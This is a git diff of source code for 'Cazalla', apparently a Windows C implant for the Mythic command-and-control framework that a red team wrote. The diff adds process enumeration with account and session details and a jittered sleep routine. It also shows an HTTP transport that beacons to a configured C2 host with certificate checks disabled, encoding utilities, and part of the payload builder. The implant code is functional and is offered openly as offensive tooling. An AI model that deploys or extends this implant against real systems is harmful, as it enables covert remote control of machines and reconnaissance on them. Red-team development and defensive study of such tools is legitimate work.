(toolhelp == INVALID_HANDLE_VALUE) { + goto cleanup; + } + + PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; + if (Process32First(toolhelp, &pe)) { + do { + HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID); + DWORD sid = -1; + if (hProcess) { + if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) { + nombreCuenta[0] = '\0'; + } + + if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) { + sid = -1; + } + + BOOL isWow64 = IsWow64ProcessEx(hProcess); + + PackageAddFormatPrintf(salida, + FALSE, + "%s\t%d\t%d\t%s\t%s\t%d\n", + pe.szExeFile, + pe.th32ParentProcessID, + pe.th32ProcessID, + isWow64 ? "x86" : arch, + nombreCuenta, + sid); + } + else { + PackageAddFormatPrintf(salida, + FALSE, + "%s\t%d\t%d\n", + pe.szExeFile, + pe.th32ParentProcessID, + pe.th32ProcessID); + } + CloseHandle(hProcess); + + } while (Process32Next(toolhelp, &pe)); + } + else { + DWORD error = GetLastError(); + + PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE); + addString(errorPaquete, tareaUuid, FALSE); + addInt32(errorPaquete, error); + mandarPaquete(errorPaquete); + liberarPaquete(errorPaquete); + goto cleanup; + } + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE); + + Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea); + if (!respuestaAnalizador) { + _err("[-] Error al mandar paquete\n"); + } + + liberarPaquete(respuestaTarea); + +cleanup: + if (toolhelp) { + CloseHandle(toolhelp); + } + liberarPaquete(salida); + +} diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.h new file mode 100644 index 0000000..bded938 --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/procesos.h @@ -0,0 +1,10 @@ +#pragma once +#ifndef PROCESOS_H +#define PROCESOS_H + +#include +#include "analizador.h" + +VOID listarProcesos(PAnalizador argumentos); + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c index f4d4279..d452111 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.c @@ -1,45 +1,45 @@ -#include "sleep.h" -#include "cazalla.h" - -BOOL sleep(PAnalizador argumentos) { - - SIZE_T tamanoUuid = 36; - PCHAR tareaUuid = getString(argumentos, &tamanoUuid); - - UINT32 nbArg = getInt32(argumentos); - UINT32 tiempoSleep = getInt32(argumentos); - UINT32 maxVarianza = getInt32(argumentos); - - if (maxVarianza < 1) { - maxVarianza = 1; - } - - const int minVarianza = 1; - const int rangoVarianza = maxVarianza / 2; - - int aleatorio = aleatorioInt32(0, rangoVarianza); - - tiempoSleep += aleatorio; - - - if (tiempoSleep < minVarianza) { - tiempoSleep = minVarianza; - } - - - if (cazallaConfig == NULL) { - _err("Error: cazallaConfig no ha sido inicializado.\n"); - return FALSE; - } - - printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); - tiempoSleep = tiempoSleep * 1000; - cazallaConfig->tiempoSleep = tiempoSleep; - - PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); - addString(respuestaTarea, tareaUuid, FALSE); - addInt32(respuestaTarea, tiempoSleep); - mandarPaquete(respuestaTarea); - - return TRUE; +#include "sleep.h" +#include "cazalla.h" + +BOOL sleep(PAnalizador argumentos) { + + SIZE_T tamanoUuid = 36; + PCHAR tareaUuid = getString(argumentos, &tamanoUuid); + + UINT32 nbArg = getInt32(argumentos); + UINT32 tiempoSleep = getInt32(argumentos); + UINT32 maxVarianza = getInt32(argumentos); + + if (maxVarianza < 1) { + maxVarianza = 1; + } + + const int minVarianza = 1; + const int rangoVarianza = maxVarianza / 2; + + int Rand = aleatorioInt32(0, rangoVarianza); + + tiempoSleep += Rand; + + + if (tiempoSleep < minVarianza) { + tiempoSleep = minVarianza; + } + + + if (cazallaConfig == NULL) { + _err("Error: cazallaConfig no ha sido inicializado.\n"); + return FALSE; + } + + _dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep); + tiempoSleep = tiempoSleep * 1000; + cazallaConfig->tiempoSleep = tiempoSleep; + + PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); + addString(respuestaTarea, tareaUuid, FALSE); + addInt32(respuestaTarea, tiempoSleep); + mandarPaquete(respuestaTarea); + + return TRUE; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h index 3b67236..5fa8427 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/sleep.h @@ -1,13 +1,13 @@ -#pragma once -#ifndef SLEEP_H -#define SLEEP_H - -#include -#include "paquete.h" -#include "analizador.h" -#include "comandos.h" -#include "utils.h" - -BOOL sleep(PAnalizador argumentos); - +#pragma once +#ifndef SLEEP_H +#define SLEEP_H + +#include +#include "paquete.h" +#include "analizador.h" +#include "comandos.h" +#include "utils.h" + +BOOL sleep(PAnalizador argumentos); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.c new file mode 100644 index 0000000..dfb264a --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.c @@ -0,0 +1,40 @@ +#include "spawn.h" +#include "analizador.h" +#include + +#pragma warning(disable: 4996) + +#define ProcessWow64Information 26 + +int osMajorVersion; + +BOOL SelfIsWindowsVistaOrLater() { + return IsWindowsVistaOrGreater(); + +} + +typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process); + + +BOOL IsWow64ProcessEx(HANDLE hProcess) { + HMODULE hModule = GetModuleHandleA("kernel32"); + FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process"); + if (_IsWow64Process == NULL) + { + _err("kernel32$IsWow64Process: IsWow64Process is NULL"); + return FALSE; + } + + BOOL bStatus = FALSE; + BOOL Wow64Process = FALSE; + + // bStatus = _IsWow64Process(hProcess, &Wow64Process); + bStatus = _IsWow64Process(hProcess, &Wow64Process); + if (!bStatus) + { + _err("_IsWow64Process failed with status code : %d", GetLastError()); + return FALSE; + } + + return Wow64Process; // TODO bug ! - returns 0 (x86) for current process? +} \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.h new file mode 100644 index 0000000..1a3070e --- /dev/null +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/spawn.h @@ -0,0 +1,23 @@ +#pragma once +#ifndef NATIVE_H +#define NATIVE_H + +#include + + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) + +typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)( + HANDLE ProcessHandle, + ULONG ProcessInformationClass, + PVOID ProcessInformation, + ULONG ProcessInformationLength, + PULONG ReturnLength + ); + +BOOL IsWow64ProcessEx(HANDLE hProcess); + +extern int osMajorVersion; + + +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c index b872f6c..1566ef7 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.c @@ -1,123 +1,123 @@ -#include "transporte.h" - -int obtenerCodigoDeEstado(HANDLE hPeticion) { - - DWORD codigoDeEstado = 0; - DWORD tamanoEstado = sizeof(DWORD); - if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) - return 0; - return codigoDeEstado; -} - -Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { - HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; - DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; - PVOID respBuffer = NULL; - DWORD respSize = 0; - UCHAR buffer[1024] = { 0 }; - DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; - - // Configuración de Proxy - WINHTTP_PROXY_INFO infoProxy = { 0 }; - WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; - WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 }; - - DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; - LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; - LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; - - if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { - tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; - httpProxy = cazallaConfig->urlProxy; - } - - if (cazallaConfig->SSL) { - httpFlags |= WINHTTP_FLAG_SECURE; - } - - // Crear sesión HTTP - hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); - if (!hSesion) return NULL; - - // Conectar al servidor - hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); - if (!hConexion) return NULL; - - // Crear petición HTTP/HTTPS - hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); - if (!hPeticion) return NULL; - - // Configurar opciones de seguridad si es HTTPS - if (cazallaConfig->SSL) { - DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | - SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | - SECURITY_FLAG_IGNORE_CERT_CN_INVALID | - SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - - WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); - } - - // Configurar proxy si está habilitado - if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { - if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { - infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; - infoProxy.lpszProxy = configuracionProxy.lpszProxy; - infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; - WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy)); - } - } - - // Enviar la petición - if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { - _err("WinHttpSendRequest falló con error %u\n", GetLastError()); - return NULL; - } - - // Recibir respuesta - if (!WinHttpReceiveResponse(hPeticion, NULL)) { - _err("Error al recibir respuesta HTTP\n"); - return NULL; - } - - codigoDeEstado = obtenerCodigoDeEstado(hPeticion); - if (codigoDeEstado != 200) { - _err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); - return NULL; - } - - // Leer respuesta - do { - dwTamano = 1024; - if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { - printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); - return NULL; - } - - if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { - printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); - return NULL; - } - - respSize += dwDescargado; - if (!respBuffer) { - respBuffer = LocalAlloc(LPTR, respSize); - } - else { - respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT); - } - - memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); - memset(buffer, 0, 1024); - - } while (dwTamano > 0); - - respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); - return nuevoAnalizador((PBYTE)respBuffer, respSize); -} -Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { - -#ifdef HTTP_TRANSPORT - return realizarPeticionHTTP(datos, tamano); -#endif - return NULL; +#include "transporte.h" + +int obtenerCodigoDeEstado(HANDLE hPeticion) { + + DWORD codigoDeEstado = 0; + DWORD tamanoEstado = sizeof(DWORD); + if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX)) + return 0; + return codigoDeEstado; +} + +Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) { + HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL; + DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0; + PVOID respBuffer = NULL; + DWORD respSize = 0; + UCHAR buffer[1024] = { 0 }; + DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; + + // Configuración de Proxy + WINHTTP_PROXY_INFO infoProxy = { 0 }; + WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 }; + WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 }; + + DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY; + LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME; + LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS; + + if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) { + tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + httpProxy = cazallaConfig->urlProxy; + } + + if (cazallaConfig->SSL) { + httpFlags |= WINHTTP_FLAG_SECURE; + } + + // Crear sesión HTTP + hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0); + if (!hSesion) return NULL; + + // Conectar al servidor + hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0); + if (!hConexion) return NULL; + + // Crear petición HTTP/HTTPS + hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags); + if (!hPeticion) return NULL; + + // Configurar opciones de seguridad si es HTTPS + if (cazallaConfig->SSL) { + DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA | + SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | + SECURITY_FLAG_IGNORE_CERT_CN_INVALID | + SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; + + WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD)); + } + + // Configurar proxy si está habilitado + if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) { + if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) { + infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; + infoProxy.lpszProxy = configuracionProxy.lpszProxy; + infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass; + WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy)); + } + } + + // Enviar la petición + if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) { + _err("WinHttpSendRequest falló con error %u\n", GetLastError()); + return NULL; + } + + // Recibir respuesta + if (!WinHttpReceiveResponse(hPeticion, NULL)) { + _err("Error al recibir respuesta HTTP\n"); + return NULL; + } + + codigoDeEstado = obtenerCodigoDeEstado(hPeticion); + if (codigoDeEstado != 200) { + _err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado); + return NULL; + } + + // Leer respuesta + do { + dwTamano = 1024; + if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) { + _err("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError()); + return NULL; + } + + if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) { + _err("[HTTP] Error %u en WinHttpReadData.\n", GetLastError()); + return NULL; + } + + respSize += dwDescargado; + if (!respBuffer) { + respBuffer = LocalAlloc(LPTR, respSize); + } + else { + respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT); + } + + memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado); + memset(buffer, 0, 1024); + + } while (dwTamano > 0); + + respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT); + return nuevoAnalizador((PBYTE)respBuffer, respSize); +} +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) { + +#ifdef HTTP_TRANSPORT + return realizarPeticionHTTP(datos, tamano); +#endif + return NULL; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h index 7635e37..7463fd4 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/transporte.h @@ -1,16 +1,16 @@ -#pragma once -#ifndef TRANSPORTE -#define TRANSPORTE - -#include -#include -#include "cazalla.h" -#include "analizador.h" - -#pragma comment(lib, "winhttp.lib") - -#define HTTP_TRANSPORT - -Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano); - +#pragma once +#ifndef TRANSPORTE +#define TRANSPORTE + +#include +#include +#include "cazalla.h" +#include "analizador.h" + +#pragma comment(lib, "winhttp.lib") + +#define HTTP_TRANSPORT + +Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano); + #endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c index d250670..d332463 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.c @@ -1,198 +1,196 @@ -#include "utils.h" - -int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, - 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, - 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, - 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, - 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, - 43, 44, 45, 46, 47, 48, 49, 50, 51 }; - -const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; - -size_t b64tamanoCodificado(size_t inlen) { - - size_t ret; - - ret = inlen; - if (inlen % 3 != 0) - ret += 3 - (inlen % 3); - ret /= 3; - ret *= 4; - - return ret; -} - -int aleatorioInt32(int min, int max){ - - return (rand() % (max - min + 1)) + min; - -} - -char* b64Codificado(const unsigned char* in, SIZE_T len) { - - char* out; - SIZE_T elen; - SIZE_T i; - SIZE_T j; - SIZE_T v; - - if (in == NULL || len == 0) { - return NULL; - } - - elen = b64tamanoCodificado(len); - out = (char*)LocalAlloc(LPTR, elen + 1); - if (!out) { - return NULL; - } - out[elen] = '\0'; - - for (i = 0, j = 0; i < len; i += 3, j += 4) { - - v = in[i]; - v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; - v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; - - out[j] = b64chars[(v >> 18) & 0x3F]; - out[j + 1] = b64chars[(v >> 12) & 0x3F]; - if (i + 1 < len) { - - out[j + 2] = b64chars[(v >> 6) & 0x3F]; - } - else { - - out[j + 2] = '='; - } - if (i + 2 < len) { - - out[j + 3] = b64chars[v & 0x3F]; - } - else { - out[j + 3] = '='; - } - } - - return out; -} - -SIZE_T b64tamanoDecodificado(const char* in) { - - SIZE_T len; - SIZE_T ret; - SIZE_T i; - - if (in == NULL) { - return 0; - } - - len = strlen(in); - ret = len / 4 * 3; - - for (i = len; i-- > 0; ) { - if (in[i] == '=') { - ret--; - } - else { - break; - } - } - - return ret; -} - -int b64IsValidChar(char c) { - - if (c >= '0' && c <= '9') { - return 1; - } - - if (c >= 'A' && c <= 'Z') { - return 1; - } - - if (c >= 'a' && c <= 'z') { - return 1; - } - - if (c == '+' || c == '/' || c == '=') { - return 1; - } - - return 0; -} - - -int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { - - SIZE_T len; - SIZE_T i; - SIZE_T j; - int v; - - if (in == NULL || out == NULL) { - return 0; - } - - len = strlen(in); - if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) { - return 0; - } - - for (i = 0; i < len; i++) { - if (!b64IsValidChar(in[i])) { - return 0; - } - } - - for (i = 0, j = 0; i < len; i += 4, j += 3) { - v = b64invs[in[i] - 43]; - v = (v << 6) | b64invs[in[i + 1] - 43]; - v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43]; - v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43]; - - out[j] = (v >> 16) & 0xFF; - if (in[i + 2] != '=') { - out[j + 1] = (v >> 8) & 0xFF; - } - if (in[i + 3] != '=') { - out[j + 2] = v & 0xFF; - - } - } - return 1; -} - - -VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { - - (buffer)[0] = (value >> 24) & 0xFF; - (buffer)[1] = (value >> 16) & 0xFF; - (buffer)[2] = (value >> 8) & 0xFF; - (buffer)[3] = (value) & 0xFF; -} - -VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { - - buffer[7] = value & 0xFF; - value >>= 8; - - buffer[6] = value & 0xFF; - value >>= 8; - - buffer[5] = value & 0xFF; - value >>= 8; - - buffer[4] = value & 0xFF; - value >>= 8; - - buffer[3] = value & 0xFF; - value >>= 8; - - buffer[2] = value & 0xFF; - value >>= 8; - - buffer[1] = value & 0xFF; - value >>= 8; - - buffer[0] = value & 0xFF; +#include "utils.h" + +int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, + 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, + 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, + 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, + 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, + 43, 44, 45, 46, 47, 48, 49, 50, 51 }; + +const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; + +size_t b64tamanoCodificado(size_t inlen) { + + size_t ret; + + ret = inlen; + if (inlen % 3 != 0) + ret += 3 - (inlen % 3); + ret /= 3; + ret *= 4; + + return ret; +} + +int aleatorioInt32(int min, int max) { + + return (rand() % (max - min + 1)) + min; + +} + +char* b64Codificado(const unsigned char* in, SIZE_T len) { + + char* out; + SIZE_T elen; + SIZE_T i; + SIZE_T j; + SIZE_T v; + + if (in == NULL || len == 0) { + return NULL; + } + + elen = b64tamanoCodificado(len); + out = (char*)LocalAlloc(LPTR, elen + 1); + if (!out) { + return NULL; + } + out[elen] = '\0'; + + for (i = 0, j = 0; i < len; i += 3, j += 4) { + + v = in[i]; + v = i + 1 < len ? v << 8 | in[i + 1] : v << 8; + v = i + 2 < len ? v << 8 | in[i + 2] : v << 8; + + out[j] = b64chars[(v >> 18) & 0x3F]; + out[j + 1] = b64chars[(v >> 12) & 0x3F]; + if (i + 1 < len) { + + out[j + 2] = b64chars[(v >> 6) & 0x3F]; + } + else { + + out[j + 2] = '='; + } + if (i + 2 < len) { + + out[j + 3] = b64chars[v & 0x3F]; + } + else { + out[j + 3] = '='; + } + } + + return out; +} + +SIZE_T b64tamanoDecodificado(const char* in) { + + SIZE_T len; + SIZE_T ret; + SIZE_T i; + + if (in == NULL) { + return 0; + } + + len = strlen(in); + ret = len / 4 * 3; + + for (i = len; i-- > 0; ) { + if (in[i] == '=') { + ret--; + } + else { + break; + } + } + + return ret; +} + +int b64IsValidChar(char c) { + + if (c >= '0' && c <= '9') { + return 1; + } + + if (c >= 'A' && c <= 'Z') { + return 1; + } + + if (c >= 'a' && c <= 'z') { + return 1; + } + + if (c == '+' || c == '/' || c == '=') { + return 1; + } + + return 0; +} + +int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen) { + + SIZE_T len; + SIZE_T i; + SIZE_T j; + int v; + + if (in == NULL || out == NULL) { + return 0; + } + + len = strlen(in); + if (outlen < b64tamanoDecodificado(in) || len % 4 != 0) { + return 0; + } + + for (i = 0; i < len; i++) { + if (!b64IsValidChar(in[i])) { + return 0; + } + } + + for (i = 0, j = 0; i < len; i += 4, j += 3) { + v = b64invs[in[i] - 43]; + v = (v << 6) | b64invs[in[i + 1] - 43]; + v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 2] - 43]; + v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64invs[in[i + 3] - 43]; + + out[j] = (v >> 16) & 0xFF; + if (in[i + 2] != '=') { + out[j + 1] = (v >> 8) & 0xFF; + } + if (in[i + 3] != '=') { + out[j + 2] = v & 0xFF; + + } + } + return 1; +} + +VOID addInt32ToBuffer(PBYTE buffer, UINT32 value) { + + (buffer)[0] = (value >> 24) & 0xFF; + (buffer)[1] = (value >> 16) & 0xFF; + (buffer)[2] = (value >> 8) & 0xFF; + (buffer)[3] = (value) & 0xFF; +} + +VOID addInt64ToBuffer(PBYTE buffer, UINT64 value) { + + buffer[7] = value & 0xFF; + value >>= 8; + + buffer[6] = value & 0xFF; + value >>= 8; + + buffer[5] = value & 0xFF; + value >>= 8; + + buffer[4] = value & 0xFF; + value >>= 8; + + buffer[3] = value & 0xFF; + value >>= 8; + + buffer[2] = value & 0xFF; + value >>= 8; + + buffer[1] = value & 0xFF; + value >>= 8; + + buffer[0] = value & 0xFF; } \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h index 2db1456..5ba8d84 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/utils.h @@ -1,27 +1,27 @@ -#pragma once -#ifndef UTILS -#define UTILS -#include -#include -#include -#include "debug.h" - - -#ifdef __MINGW64__ -#define BYTESWAP32(x) __builtin_bswap32( x ) -#define BYTESWAP64(x) __builtin_bswap64( x ) -#endif -#ifdef _MSC_VER -#define BYTESWAP32(x) _byteswap_ulong(x) -#define BYTESWAP64(x) _byteswap_uint64(x) -#endif - -SIZE_T b64tamanoDecodificado(const char* in); -int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen); -char* b64Codificado(const unsigned char* in, SIZE_T len); -size_t b64tamanoCodificado(size_t inlen); -int aleatorioInt32(int min, int max); - -VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); -VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); -#endif +#pragma once +#ifndef UTILS +#define UTILS +#include +#include +#include +#include "debug.h" + + +#ifdef __MINGW64__ +#define BYTESWAP32(x) __builtin_bswap32( x ) +#define BYTESWAP64(x) __builtin_bswap64( x ) +#endif +#ifdef _MSC_VER +#define BYTESWAP32(x) _byteswap_ulong(x) +#define BYTESWAP64(x) _byteswap_uint64(x) +#endif + +SIZE_T b64tamanoDecodificado(const char* in); +int b64Decodificado(const char* in, unsigned char* out, SIZE_T outlen); +char* b64Codificado(const unsigned char* in, SIZE_T len); +size_t b64tamanoCodificado(size_t inlen); +int aleatorioInt32(int min, int max); + +VOID addInt64ToBuffer(PBYTE buffer, UINT64 value); +VOID addInt32ToBuffer(PBYTE buffer, UINT32 value); +#endif diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py index d901cfb..eaf77a8 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -1,131 +1,131 @@ -import pathlib -import tempfile -from mythic_container.PayloadBuilder import * -from mythic_container.MythicCommandBase import * -from mythic_container.MythicRPC import * -import json -from distutils.dir_util import copy_tree -import asyncio - - -class CazallaAgent(PayloadType): - name = "Cazalla" - file_extension = "exe" - author = "OFSTeam" - supported_os = [SupportedOS.Windows] - wrapper = False - wrapped_payloads = [] - note = """C implant Developed by the Kaseya OFSTeam""" - supports_dynamic_loading = False - c2_profiles = ["http"] - mythic_encrypts = False - translation_container = "cazalla_translator" - build_parameters = [ - BuildParameter( - name="output", - parameter_type=BuildParameterType.ChooseOne, - description="Choose output format", - choices=["exe", "dll", "debug_exe","debug_dll"], - default_value="exe" - ), - ] - agent_path = pathlib.Path(".") / "cazalla" - 